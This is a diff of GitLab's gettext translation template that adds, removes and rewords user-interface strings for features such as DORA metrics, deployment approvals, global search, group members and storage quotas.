@@ -7779,13 +7917,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8066,6 +8201,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8225,12 +8363,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8414,6 +8546,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8538,6 +8673,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8640,12 +8778,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9310,21 +9454,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9812,6 +9941,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10700,6 +10832,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11093,6 +11228,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -11988,6 +12126,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12012,6 +12153,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12024,7 +12168,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12045,6 +12192,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12066,6 +12219,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12084,6 +12243,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12105,6 +12273,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12114,6 +12288,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12129,9 +12306,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13048,11 +13222,9 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13114,6 +13286,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13492,9 +13667,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13510,6 +13691,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13592,6 +13779,12 @@ msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -13860,7 +14053,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14085,6 +14278,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14572,6 +14768,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15769,10 +15968,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15781,9 +15977,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16280,9 +16473,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16316,9 +16506,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16636,9 +16823,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17063,9 +17247,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17384,16 +17565,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17490,6 +17668,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18146,9 +18327,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18561,6 +18739,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18573,6 +18754,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18597,6 +18784,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18615,6 +18805,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18627,9 +18820,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -18954,6 +19153,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19116,7 +19321,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19599,9 +19804,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19656,6 +19867,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19665,6 +19879,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19674,6 +19894,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19791,6 +20014,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20098,6 +20324,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20512,9 +20744,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20536,6 +20765,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20754,12 +20986,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -21817,7 +22061,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -21878,9 +22122,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22031,6 +22284,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23232,6 +23488,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23280,6 +23539,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23424,9 +23686,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23742,9 +24001,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -23903,9 +24159,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24038,6 +24291,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24107,9 +24363,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -24857,6 +25110,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -24872,9 +25128,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -24974,6 +25227,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25043,9 +25299,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25058,9 +25311,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25400,6 +25650,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25435,6 +25688,9 @@ msgstr[0] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25444,6 +25700,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25465,10 +25736,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25477,9 +25748,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25507,6 +25784,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25534,6 +25814,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -25819,10 +26105,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -25882,6 +26171,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26307,6 +26599,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26703,6 +27001,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26727,6 +27028,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26736,6 +27040,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26758,24 +27065,36 @@ msgid "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} l
msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} locked projects"
msgstr[0] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -26869,6 +27188,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -26996,9 +27336,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27314,9 +27651,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27492,6 +27826,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28024,13 +28373,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28081,6 +28424,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28506,6 +28861,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28671,6 +29029,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29095,12 +29456,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29258,9 +29613,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29401,12 +29753,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -29938,7 +30284,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -29953,6 +30299,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
